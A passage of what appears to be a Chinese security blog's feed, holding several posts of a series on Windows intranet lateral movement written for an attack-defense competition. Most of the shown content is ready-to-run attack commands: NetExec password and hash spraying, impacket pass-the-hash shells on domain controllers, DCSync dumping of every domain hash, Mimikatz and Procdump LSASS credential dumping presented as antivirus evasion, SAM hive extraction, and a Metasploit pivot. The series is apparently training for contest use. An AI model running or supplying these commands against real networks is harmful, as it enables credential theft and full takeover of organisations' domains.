TCP),MSF 会主动顺着路由去连它</span></span><br><span class="line">msf6 > <span class="built_in">set</span> PAYLOAD windows/x64/meterpreter/bind_tcp</span><br><span class="line"></span><br><span class="line"><span class="comment"># 发射!</span></span><br><span class="line">msf6 > exploit</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><strong>战果</strong>:执行成功后,你会在 MSF 里得到一个属于内网靶机 B 的全新 <code>meterpreter</code> 会话!你甚至都没碰过 Chisel 和 Proxychains,MSF 帮你把底层网络全搞定了。</p><h1 id="小tips"><a href="#小tips" class="headerlink" title="小tips"></a>小tips</h1><p>如果你已经用了 <code>Proxychains</code> + <code>Chisel</code> 挂了全局代理,启动 <code>msfconsole</code> 时流量可能异常。建议在 MSF 内部使用 <code>setg Proxies socks5:127.0.0.1:1080</code> 进行框架级代理配置。</p>]]></content>
<summary type="html"><h1 id="0x01-原理简述"><a href="#0x01-原理简述" class="headerlink" title="0x01 原理简述"></a>0x01 原理简述</h1><p>作者把提权到横向全都封装好了,你只需要在它原生的命令行做操作就行了</p>
<p>本</summary>
<category term="ISW" scheme="http://example.com/categories/ISW/"/>
<category term="内网横向" scheme="http://example.com/categories/ISW/%E5%86%85%E7%BD%91%E6%A8%AA%E5%90%91/"/>
<category term="渗透工具" scheme="http://example.com/tags/%E6%B8%97%E9%80%8F%E5%B7%A5%E5%85%B7/"/>
<category term="MSF" scheme="http://example.com/tags/MSF/"/>
<category term="漏洞利用" scheme="http://example.com/tags/%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/"/>
</entry>
<entry>
<title>内网横向4:横向击杀与执行</title>
<link href="http://example.com/2026/03/21/ISW/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E4%B8%8E%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/%E5%86%85%E7%BD%91%E6%A8%AA%E5%90%914_%E6%A8%AA%E5%90%91%E5%87%BB%E6%9D%80%E4%B8%8E%E6%89%A7%E8%A1%8C/"/>
<id>http://example.com/2026/03/21/ISW/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E4%B8%8E%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/%E5%86%85%E7%BD%91%E6%A8%AA%E5%90%914_%E6%A8%AA%E5%90%91%E5%87%BB%E6%9D%80%E4%B8%8E%E6%89%A7%E8%A1%8C/</id>
<published>2026-03-21T09:00:00.000Z</published>
<updated>2026-03-21T14:50:00.487Z</updated>
<content type="html"><![CDATA[<h1 id="原理简述"><a href="#原理简述" class="headerlink" title="原理简述"></a>原理简述</h1><p><strong>宏观类比</strong>:横向执行如同拿着上一步窃取来的“钥匙”(凭证),通过大楼内部合法的“员工通道”(系统原生管理协议)去直接开目标房间的门。不砸门(不利用漏洞)、不翻窗(不传木马),直接以合法主人的身份走进去。</p><p><strong>技术定义</strong>:利用获取到的明文密码或 NTLM Hash,结合 Windows 原生远程管理协议(SMB、WMI、WinRM),在代理隧道的加持下,实现对内网目标主机的远程命令执行与权限接管(RCE)。</p><h1 id="核心武器库准备与规范"><a href="#核心武器库准备与规范" class="headerlink" title="核心武器库准备与规范"></a>核心武器库准备与规范</h1><p>在攻击机(Ubuntu)本地储备以下两款基于 Python 的协议级横向大杀器。</p><h2 id="底层协议操控包:Impacket"><a href="#底层协议操控包:Impacket" class="headerlink" title="底层协议操控包:Impacket"></a>底层协议操控包:Impacket</h2><p>最核心的横向工具集,将 Windows 闭源的 SMB/RPC/DCOM 协议用 Python 完全重写,支持在 Linux 下直接发起 Windows 认证。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt update</span><br><span class="line"><span class="built_in">sudo</span> apt install python3-impacket -y</span><br><span class="line"><span class="comment"># 核心调用脚本:impacket-psexec, impacket-wmiexec, impacket-smbexec</span></span><br></pre></td></tr></table></figure><h2 id="自动化横向喷洒工具:NetExec-原-CrackMapExec"><a href="#自动化横向喷洒工具:NetExec-原-CrackMapExec" class="headerlink" title="自动化横向喷洒工具:NetExec (原 CrackMapExec)"></a>自动化横向喷洒工具:NetExec (原 CrackMapExec)</h2><p>内网自动化撞库与横向移动的工业级标准工具(CME 的现代接替者),支持并发多线程协议探测与哈希传递。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">mkdir</span> -p ~/ISW_Workspace/Tools/Lateral/NetExec && <span class="built_in">cd</span> ~/ISW_Workspace/Tools/Lateral/NetExec</span><br><span class="line"></span><br><span class="line"><span class="comment"># 下载 Linux 编译好的单文件版 (官方目前将其打包成了 zip)</span></span><br><span class="line">wget https://github.com/Pennyw0rth/NetExec/releases/latest/download/nxc-ubuntu-latest.zip</span><br><span class="line"></span><br><span class="line"><span class="comment"># 解压获取二进制文件</span></span><br><span class="line">unzip nxc-ubuntu-latest.zip</span><br><span class="line"><span class="built_in">chmod</span> +x nxc</span><br><span class="line"></span><br><span class="line"><span class="comment"># 移动到系统路径,使其在任何目录下均可直接通过 nxc 命令调用</span></span><br><span class="line"><span class="built_in">sudo</span> <span class="built_in">mv</span> nxc /usr/local/bin/nxc</span><br><span class="line"></span><br><span class="line"><span class="comment"># 验证安装</span></span><br><span class="line">nxc --version</span><br></pre></td></tr></table></figure><h1 id="工作组环境横向战术"><a href="#工作组环境横向战术" class="headerlink" title="工作组环境横向战术"></a>工作组环境横向战术</h1><p><strong>架构研判</strong>:目标机器之间互不信任,无集中化管理。 <strong>核心打法</strong>:密码复用喷洒 (Password Spraying)。即假设网管为了运维方便,所有机器的本地 Administrator 密码完全一致。</p><h2 id="NetExec-自动化密码-哈希喷洒-批量撞库"><a href="#NetExec-自动化密码-哈希喷洒-批量撞库" class="headerlink" title="NetExec 自动化密码/哈希喷洒 (批量撞库)"></a>NetExec 自动化密码/哈希喷洒 (批量撞库)</h2><p>利用上一步抓到的本地管理员凭证,对 <code><目标内网网段></code> 进行并发 SMB 登录尝试。</p><p><strong>明文密码喷洒:</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">proxychains4 nxc smb <目标内网网段> -u <本地用户名> -p <span class="string">'<明文密码>'</span> --local-auth</span><br></pre></td></tr></table></figure><p><strong>哈希传递 (PtH) 喷洒:</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">proxychains4 nxc smb <目标内网网段> -u <本地用户名> -H <NTLM_Hash> --local-auth</span><br></pre></td></tr></table></figure><ul><li><strong>技术解析</strong>:<code>--local-auth</code> 强制指定为本地 SAM 认证而非域认证。回显中标记为 <code>Pwn3d!</code> 的 IP,即代表凭证复用成功,已获取最高控制权。</li></ul><h2 id="Impacket-建立交互式-Shell-单点突破"><a href="#Impacket-建立交互式-Shell-单点突破" class="headerlink" title="Impacket 建立交互式 Shell (单点突破)"></a>Impacket 建立交互式 Shell (单点突破)</h2><p>针对喷洒成功的 <code><目标内网IP></code>,建立远程命令行会话。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">proxychains4 impacket-wmiexec <本地用户名>@<目标内网IP> -hashes 00000000000000000000000000000000:<NTLM_Hash></span><br></pre></td></tr></table></figure><ul><li><strong>技术解析</strong>:WMI 协议(TCP 135 及高端口)基于 RPC 调用,无实体文件落地,隐蔽性极高,规避了传统 PsExec 在目标机器产生 <code>PSEXESVC</code> 服务的特征报警。</li></ul><h1 id="域环境横向战术"><a href="#域环境横向战术" class="headerlink" title="域环境横向战术"></a>域环境横向战术</h1><p><strong>架构研判</strong>:存在集中认证中心 (DC),域账户的凭据缓存在任意登录过的机器内存中。 <strong>核心打法</strong>:哈希传递 (PtH) 直击域控,或寻找域管进程进行令牌窃取。终极目标是接管 DC,执行 DCSync 导出全域哈希 (NTDS.dit)。</p><h2 id="定向哈希传递-PtH-击杀域控"><a href="#定向哈希传递-PtH-击杀域控" class="headerlink" title="定向哈希传递 (PtH) 击杀域控"></a>定向哈希传递 (PtH) 击杀域控</h2><p>如果上一步在跳板机抓到了属于 <strong>Domain Admins (域管组)</strong> 的 <code><域管用户名></code> 和 <code><NTLM_Hash></code>,直接利用代理对 <code><域控内网IP></code> 发起斩首行动。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">proxychains4 impacket-wmiexec <目标域名>/<域管用户名>@<域控内网IP> -hashes 00000000000000000000000000000000:<NTLM_Hash></span><br></pre></td></tr></table></figure><ul><li><strong>技术解析</strong>:注意用户名格式必须前置 <code><目标域名>/</code> 声明域身份验证。通过 NTLM 协议将哈希直接提交给目标机器的 LSA 进行响应计算,无需破解明文即可获取 SYSTEM Shell。</li></ul><h2 id="DCSync-全域接管-终局清场"><a href="#DCSync-全域接管-终局清场" class="headerlink" title="DCSync 全域接管 (终局清场)"></a>DCSync 全域接管 (终局清场)</h2><p>在成功获取域控的交互式 Shell 后,你已经拥有域的最高权限。使用 <code>secretsdump</code> 模拟域控同步协议,直接导出全域所有用户的哈希。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">proxychains4 impacket-secretsdump <目标域名>/<域管用户名>@<域控内网IP> -hashes 00000000000000000000000000000000:<NTLM_Hash> -just-dc</span><br></pre></td></tr></table></figure><ul><li><strong>技术解析</strong>:<code>-just-dc</code> 触发 DRSUAPI (目录复制服务 RPC),迫使 DC 吐出包括 <code>krbtgt</code> 在内的所有核心账户哈希。至此,内网宣告彻底沦陷。</li></ul><h1 id="横向执行协议隐蔽性分级"><a href="#横向执行协议隐蔽性分级" class="headerlink" title="横向执行协议隐蔽性分级"></a>横向执行协议隐蔽性分级</h1><p>实战中必须根据目标主机的杀软级别(EDR/AV)选择合适的横向协议。</p><ol><li><p><strong>WinRM 协议 (最隐蔽 / <code>evil-winrm</code>)</strong></p><ul><li><p><strong>依赖端口</strong>:TCP 5985 (HTTP) / 5986 (HTTPS)</p></li><li><p><strong>特征</strong>:完全基于系统原生 PowerShell 远程管理,极其干净,无任何告警。若端口开放,<strong>首选</strong>。</p></li></ul></li><li><p><strong>WMI 协议 (隐蔽 / <code>wmiexec</code>)</strong></p><ul><li><p><strong>依赖端口</strong>:TCP 135 及 49152-65535 (动态 RPC)</p></li><li><p><strong>特征</strong>:无二进制文件落地,无新服务创建日志。<strong>次选</strong>。</p></li></ul></li><li><p><strong>SMB 协议 (极度嘈杂 / <code>psexec</code>)</strong></p><ul><li><p><strong>依赖端口</strong>:TCP 445</p></li><li><p><strong>特征</strong>:必须通过 <code>ADMIN$</code> 共享上传可执行文件,并调用 Service Control Manager 创建服务。必然触发 Windows Event ID 7045 及杀软拦截。<strong>仅在无杀软或降级攻击时使用</strong>。</p></li></ul></li></ol><h1 id="赛场异常处置规范"><a href="#赛场异常处置规范" class="headerlink" title="赛场异常处置规范"></a>赛场异常处置规范</h1><ol><li><p><strong>工作组横向提示 Access Denied (UAC 拦截)</strong></p><ul><li><p><strong>痛点</strong>:在工作组环境中,即使你掌握了目标机的本地管理员组用户(非内建 Administrator)的正确密码,通过 WMI/SMB 登录依然被拒。这是因为 Windows UAC 的 <code>LocalAccountTokenFilterPolicy</code>(本地账户令牌过滤策略)默认剥夺了网络登录的管理员权限。</p></li><li><p><strong>规范应对</strong>:仅内建的 <code>Administrator</code> 账户(RID 500)不受此 UAC 策略限制。工作组横向<strong>必须优先</strong>喷洒 <code>Administrator</code> 账户。</p></li></ul></li><li><p><strong>WMI 协议挂代理执行卡死 (RPC 动态端口不通)</strong></p><ul><li><p><strong>痛点</strong>:WMI 认证初期使用 135 端口协商,但后续通信会随机分配一个高危动态端口(如 49154)。如果内网防火墙阻断了高端口,或者 SOCKS5 代理对多路 RPC 转发处理异常,<code>wmiexec</code> 会长时间无响应。</p></li><li><p><strong>规范应对</strong>:若 <code>wmiexec</code> 卡死,降级使用 <code>impacket-smbexec</code>。该工具纯依赖 TCP 445 端口进行命令执行与回显读取,无需动态端口支持。</p></li></ul></li></ol>]]></content>
<summary type="html"><h1 id="原理简述"><a href="#原理简述" class="headerlink" title="原理简述"></a>原理简述</h1><p><strong>宏观类比</strong>:横向执行如同拿着上一步窃取来的“钥匙”(凭证),通过大楼内部合法的“员工通道”(</summary>
<category term="ISW" scheme="http://example.com/categories/ISW/"/>
<category term="内网横向" scheme="http://example.com/categories/ISW/%E5%86%85%E7%BD%91%E6%A8%AA%E5%90%91/"/>
<category term="横向移动" scheme="http://example.com/tags/%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/"/>
<category term="域控" scheme="http://example.com/tags/%E5%9F%9F%E6%8E%A7/"/>
<category term="横向执行" scheme="http://example.com/tags/%E6%A8%AA%E5%90%91%E6%89%A7%E8%A1%8C/"/>
</entry>
<entry>
<title>内网横向3:凭证窃取与密码抓取</title>
<link href="http://example.com/2026/03/21/ISW/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E4%B8%8E%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/%E5%86%85%E7%BD%91%E6%A8%AA%E5%90%913_%E5%87%AD%E8%AF%81%E7%AA%83%E5%8F%96%E4%B8%8E%E5%AF%86%E7%A0%81%E6%8A%93%E5%8F%96/"/>
<id>http://example.com/2026/03/21/ISW/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E4%B8%8E%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/%E5%86%85%E7%BD%91%E6%A8%AA%E5%90%913_%E5%87%AD%E8%AF%81%E7%AA%83%E5%8F%96%E4%B8%8E%E5%AF%86%E7%A0%81%E6%8A%93%E5%8F%96/</id>
<published>2026-03-21T08:00:00.000Z</published>
<updated>2026-03-21T14:37:54.828Z</updated>
<content type="html"><![CDATA[<h1 id="前言:"><a href="#前言:" class="headerlink" title="前言:"></a>前言:</h1><p>本篇和上一篇同属于第二部分</p><h1 id="0x01-原理简述"><a href="#0x01-原理简述" class="headerlink" title="0x01 原理简述"></a>0x01 原理简述</h1><p><strong>宏观类比</strong>:凭证窃取如同在攻陷的敌方哨所中,翻找守卫遗落的“钥匙串”。因为企业内网往往存在严重的密码复用或域管理员巡检残留,拿到这串钥匙,即可无需爆破、直接开启内网深处其他大门。</p><p><strong>技术定义</strong>:在获取跳板机最高权限(SYSTEM 或高权限 Administrator)后,通过读取 Windows 本地安全认证子系统服务(LSASS.exe)的内存空间,或导出安全账户管理器(SAM)注册表文件,提取出用户的明文密码、NTLM Hash 或 Kerberos 票据。</p><h1 id="0x02-核心工具准备与使用规范"><a href="#0x02-核心工具准备与使用规范" class="headerlink" title="0x02 核心工具准备与使用规范"></a>0x02 核心工具准备与使用规范</h1><p>在断网比赛前,必须提前准备好以下凭证窃取与解析工具。</p><h2 id="内存提取神器:Mimikatz-放到靶机Windows-平台执行"><a href="#内存提取神器:Mimikatz-放到靶机Windows-平台执行" class="headerlink" title="内存提取神器:Mimikatz (放到靶机Windows 平台执行)"></a>内存提取神器:Mimikatz (放到靶机Windows 平台执行)</h2><p>法国黑客编写的极度危险工具,直接读取并解析 Windows 内存凭据。<strong>实战中极易被杀软查杀。</strong></p><p><strong>获取与准备 (在 Ubuntu 攻击机执行)</strong>:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">mkdir</span> -p ~/ISW_Workspace/Tools/Lateral/Mimikatz && <span class="built_in">cd</span> ~/ISW_Workspace/Tools/Lateral/Mimikatz</span><br><span class="line">wget https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip</span><br><span class="line">7z x mimikatz_trunk.zip</span><br><span class="line"><span class="comment"># 提取出 x64 目录下的 mimikatz.exe 备用</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="免杀内存转储工具:Procdump-Windows-平台执行"><a href="#免杀内存转储工具:Procdump-Windows-平台执行" class="headerlink" title="免杀内存转储工具:Procdump (Windows 平台执行)"></a>免杀内存转储工具:Procdump (Windows 平台执行)</h2><p>微软 Sysinternals 官方系统运维工具。带有微软官方数字签名,用于合法导出进程内存。<strong>实战中完美绕过绝大多数杀软的内存读取拦截。</strong></p><p><strong>获取与准备 (在 Ubuntu 攻击机执行):</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">mkdir</span> -p ~/ISW_Workspace/Tools/Lateral/Procdump && <span class="built_in">cd</span> ~/ISW_Workspace/Tools/Lateral/Procdump</span><br><span class="line">wget https://download.sysinternals.com/files/Procdump.zip</span><br><span class="line">7z x Procdump.zip</span><br><span class="line"><span class="comment"># 提取 procdump64.exe 备用</span></span><br></pre></td></tr></table></figure><h2 id="离线哈希解析库:Impacket-Ubuntu-平台执行"><a href="#离线哈希解析库:Impacket-Ubuntu-平台执行" class="headerlink" title="离线哈希解析库:Impacket (Ubuntu 平台执行)"></a>离线哈希解析库:Impacket (Ubuntu 平台执行)</h2><p>基于 Python 的网络协议工具包,其中的 <code>secretsdump.py</code> 用于在攻击机本地离线解析提取回来的 SAM 文件或 NTDS.dit 文件。</p><p><strong>获取与准备:</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Ubuntu 通常自带或可通过 pip 安装</span></span><br><span class="line"><span class="built_in">sudo</span> apt install python3-impacket -y</span><br></pre></td></tr></table></figure><h1 id="0x03-在线抓取标准流:Mimikatz-无杀软环境"><a href="#0x03-在线抓取标准流:Mimikatz-无杀软环境" class="headerlink" title="0x03 在线抓取标准流:Mimikatz (无杀软环境)"></a>0x03 在线抓取标准流:Mimikatz (无杀软环境)</h1><p>当目标跳板机未部署杀软,或你已成功关闭 Defender 时,直接上传 Mimikatz 执行。</p><p><strong>前提条件</strong>:当前 Shell 会话必须是 <code>Administrator</code> 或 <code>SYSTEM</code>,且具备 <code>SeDebugPrivilege</code> 调试特权。</p><h3 id="交互式-Shell-执行规范:"><a href="#交互式-Shell-执行规范:" class="headerlink" title="交互式 Shell 执行规范:"></a>交互式 Shell 执行规范:</h3><p>将 <code>mimikatz.exe</code> 上传至靶机 <code>C:\Windows\Temp\</code> 后,执行以下指令串:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">C:\Windows\Temp\mimikatz.exe <span class="string">"privilege::debug"</span> <span class="string">"sekurlsa::logonpasswords"</span> <span class="string">"exit"</span> > C:\Windows\Temp\mimi.txt</span><br></pre></td></tr></table></figure><ul><li><p><strong>技术解析</strong>:</p><ul><li><p><code>privilege::debug</code>:向系统申请内存调试特权(必须为 <code>20 OK</code> 才算成功)。</p></li><li><p><code>sekurlsa::logonpasswords</code>:遍历 LSASS 内存,列出所有已登录会话的凭据。</p></li><li><p><code>> mimi.txt</code>:将大量终端输出重定向至文本文件,防止在反弹 Shell 中因输出过多导致进程崩溃或假死。</p></li></ul><p><strong>输出研判</strong>:读取 <code>mimi.txt</code>,重点检索 <code>Username</code> (用户名)、<code>Domain</code> (域名/机器名)、<code>Password</code> (明文密码,可能为 null) 以及 <code>NTLM</code> (NTLM Hash 字符串)。</p></li></ul><h1 id="0x04-离线免杀抓取标准流:Procdump-本地解析-实战首选"><a href="#0x04-离线免杀抓取标准流:Procdump-本地解析-实战首选" class="headerlink" title="0x04 离线免杀抓取标准流:Procdump + 本地解析 (实战首选)"></a>0x04 离线免杀抓取标准流:Procdump + 本地解析 (实战首选)</h1><p>当目标机器存在杀软(直接秒杀 <code>mimikatz.exe</code>)时,<strong>严禁上传 Mimikatz</strong>。必须采用“白利用”手法,先用微软合法工具将内存拉回攻击机,再行解析。</p><h2 id="Step-1-靶机端导出-LSASS-内存-白利用"><a href="#Step-1-靶机端导出-LSASS-内存-白利用" class="headerlink" title="Step 1: 靶机端导出 LSASS 内存 (白利用)"></a>Step 1: 靶机端导出 LSASS 内存 (白利用)</h2><p>将 <code>procdump64.exe</code> 上传至靶机可写目录,利用 SYSTEM 权限强制导出 lsass.exe 进程的完整内存文件。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">C:\Windows\Temp\procdump64.exe -accepteula -ma lsass.exe C:\Windows\Temp\lsass.dmp</span><br></pre></td></tr></table></figure><ul><li><strong>技术解析</strong>:<code>-accepteula</code> 自动接受最终用户许可协议(防止弹窗阻塞进程);<code>-ma</code> 写入完整的 Dump 文件。</li></ul><h2 id="Step-2-攻击机端回传-Dump-文件"><a href="#Step-2-攻击机端回传-Dump-文件" class="headerlink" title="Step 2: 攻击机端回传 Dump 文件"></a>Step 2: 攻击机端回传 Dump 文件</h2><p>利用靶机上已建立的 WebShell 或反向隧道,将体积庞大(通常 40MB - 100MB)的 <code>lsass.dmp</code> 下载回 Ubuntu 或你本地的 Windows 物理机。</p><h2 id="Step-3-攻击机端离线解析-Local-Mimikatz"><a href="#Step-3-攻击机端离线解析-Local-Mimikatz" class="headerlink" title="Step 3: 攻击机端离线解析 (Local Mimikatz)"></a>Step 3: 攻击机端离线解析 (Local Mimikatz)</h2><p>在<strong>你自己安全可控的 Windows 环境</strong>(或通过 Wine 运行于 Ubuntu)中,打开本地的 Mimikatz,加载刚才拖回来的 <code>lsass.dmp</code> 文件。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">mimikatz.exe</span><br><span class="line"><span class="comment"># 进入交互界面后执行:</span></span><br><span class="line">sekurlsa::minidump lsass.dmp</span><br><span class="line">sekurlsa::logonpasswords</span><br></pre></td></tr></table></figure><ul><li><strong>技术解析</strong>:<code>sekurlsa::minidump</code> 切换 Mimikatz 的读取目标,使其不再读取当前主机的物理内存,而是读取指定的离线内存快照文件。</li></ul><h1 id="0x05-注册表离线提取-SAM-Hash-导出"><a href="#0x05-注册表离线提取-SAM-Hash-导出" class="headerlink" title="0x05 注册表离线提取 (SAM Hash 导出)"></a>0x05 注册表离线提取 (SAM Hash 导出)</h1><p>若跳板机处于工作组环境,且无域账号登录缓存,直接提取本地安全账户管理器 (SAM) 中的 NTLM Hash。</p><h2 id="Step-1-靶机端导出注册表-Hive"><a href="#Step-1-靶机端导出注册表-Hive" class="headerlink" title="Step 1: 靶机端导出注册表 Hive"></a>Step 1: 靶机端导出注册表 Hive</h2><p>依靠 SYSTEM 权限,绕过文件读写锁死,强行备份两个核心配置块:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">reg save HKLM\sam C:\Windows\Temp\sam.save</span><br><span class="line">reg save HKLM\system C:\Windows\Temp\system.save</span><br></pre></td></tr></table></figure><h2 id="Step-2-攻击机端离线解析-Impacket"><a href="#Step-2-攻击机端离线解析-Impacket" class="headerlink" title="Step 2: 攻击机端离线解析 (Impacket)"></a>Step 2: 攻击机端离线解析 (Impacket)</h2><p>将 <code>sam.save</code> 与 <code>system.save</code> 拖回 Ubuntu,使用 Impacket 解析提取:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">impacket-secretsdump -sam sam.save -system system.save LOCAL</span><br></pre></td></tr></table></figure><h1 id="0x06-本阶段可获得:"><a href="#0x06-本阶段可获得:" class="headerlink" title="0x06 本阶段可获得:"></a>0x06 本阶段可获得:</h1><p>执行完本笔记操作后,你必须获取并记录以下核心资产,这是进入第四阶段“横向击杀”的唯一凭证:</p><ul><li><p><strong>域管理员明文密码</strong> (例如:<code>Admin@ISW.local</code> : <code>P@ssw0rd123</code>)</p></li><li><p><strong>域管理员 NTLM Hash</strong> (例如:<code>Administrator</code> : <code>aad3b435b51404eeaad3b435b51404ee:88e4d9faba26515...</code>)</p></li><li><p><strong>本地高权限用户 NTLM Hash</strong> (用于工作组环境下的密码复用喷洒攻击)</p></li></ul>]]></content>
<summary type="html"><h1 id="前言:"><a href="#前言:" class="headerlink" title="前言:"></a>前言:</h1><p>本篇和上一篇同属于第二部分</p>
<h1 id="0x01-原理简述"><a href="#0x01-原理简述" class="h</summary>
<category term="ISW" scheme="http://example.com/categories/ISW/"/>
<category term="内网横向" scheme="http://example.com/categories/ISW/%E5%86%85%E7%BD%91%E6%A8%AA%E5%90%91/"/>
<category term="横向移动" scheme="http://example.com/tags/%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/"/>
<category term="域控" scheme="http://example.com/tags/%E5%9F%9F%E6%8E%A7/"/>
<category term="信息收集" scheme="http://example.com/tags/%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/"/>
</entry>
<entry>
<title>内网横向2:内网信息收集与定位</title>
<link href="http://example.com/2026/03/21/ISW/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E4%B8%8E%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/%E5%86%85%E7%BD%91%E6%A8%AA%E5%90%912_%E5%86%85%E7%BD%91%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86%E4%B8%8E%E5%AE%9A%E4%BD%8D/"/>
<id>http://example.com/2026/03/21/ISW/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E4%B8%8E%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/%E5%86%85%E7%BD%91%E6%A8%AA%E5%90%912_%E5%86%85%E7%BD%91%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86%E4%B8%8E%E5%AE%9A%E4%BD%8D/</id>
<published>2026-03-21T07:00:00.000Z</published>
<updated>2026-03-21T13:22:44.329Z</updated>
<content type="html"><![CDATA[<h1 id="0x01-原理简述"><a href="#0x01-原理简述" class="headerlink" title="0x01 原理简述"></a>0x01 原理简述</h1><p><strong>宏观类比</strong>:内网信息收集如同开启<strong>战争中的雷达</strong>。</p><p>当你获取跳板机权限并打通隧道后,面对未知的内网拓扑,核心目的是在不触发防御系统(NDR/XDR)大面积告警的前提下,完成三项任务:</p><ul><li><p><strong>明确当前网络拓扑结构</strong></p></li><li><p><strong>定位高价值资产(域控制器 DC 的 IP)</strong></p></li><li><p><strong>获取域内用户与权限配置图谱</strong>。</p></li></ul><p><strong>技术定义</strong>:利用系统原生网络协议(NetBIOS、LDAP、RPC)或编译型扫描器(Nmap、Fscan),对跳板机所在内网的存活主机、开放端口、服务指纹及域环境架构进行主动或被动的枚举探测。</p><h1 id="0x02-探测阶段核心工具准备与使用"><a href="#0x02-探测阶段核心工具准备与使用" class="headerlink" title="0x02 探测阶段核心工具准备与使用"></a>0x02 探测阶段核心工具准备与使用</h1><p>在断网比赛前,必须于攻击机(Ubuntu)本地提前储备好跨网段扫描与自动化探测武器。</p><h2 id="精准端口扫描器:Nmap"><a href="#精准端口扫描器:Nmap" class="headerlink" title="精准端口扫描器:Nmap"></a>精准端口扫描器:Nmap</h2><p>通过 APT 源直接安装,配合第一阶段的 Proxychains 隧道,用于对特定内网 IP 进行深度的端口与服务版本探测。</p><p><strong>获取与准备:</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt update</span><br><span class="line"><span class="built_in">sudo</span> apt install nmap -y</span><br></pre></td></tr></table></figure><p><strong>基础使用语法 (隧道内强扫):</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">proxychains4 nmap -sT -Pn -p <目标端口列表> <目标内网IP或网段></span><br><span class="line"><span class="comment"># Example (扫单个IP): proxychains4 nmap -sT -Pn -p 80,135,139,445,3389 192.168.10.10</span></span><br><span class="line"><span class="comment"># Example (扫整个C段): proxychains4 nmap -sT -Pn -p 80,135,139,445,3389 192.168.10.0/24</span></span><br></pre></td></tr></table></figure><h2 id="自动化内网扫描器:Fscan-双端二进制文件"><a href="#自动化内网扫描器:Fscan-双端二进制文件" class="headerlink" title="自动化内网扫描器:Fscan (双端二进制文件)"></a>自动化内网扫描器:Fscan (双端二进制文件)</h2><p>采用 Go 语言编写的单文件并发扫描器,集存活探测、端口扫描、弱口令爆破与高危漏洞(MS17-010)检测于一体。分为 Windows 版(传给跳板机本地执行)和 Linux 版(攻击机挂代理执行)。</p><p><strong>获取与准备:</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">mkdir</span> -p ~/ISW_Workspace/Tools/Lateral/Fscan && <span class="built_in">cd</span> ~/ISW_Workspace/Tools/Lateral/Fscan</span><br><span class="line"></span><br><span class="line"><span class="comment"># 获取 Linux 版 (攻击机挂代理运行)</span></span><br><span 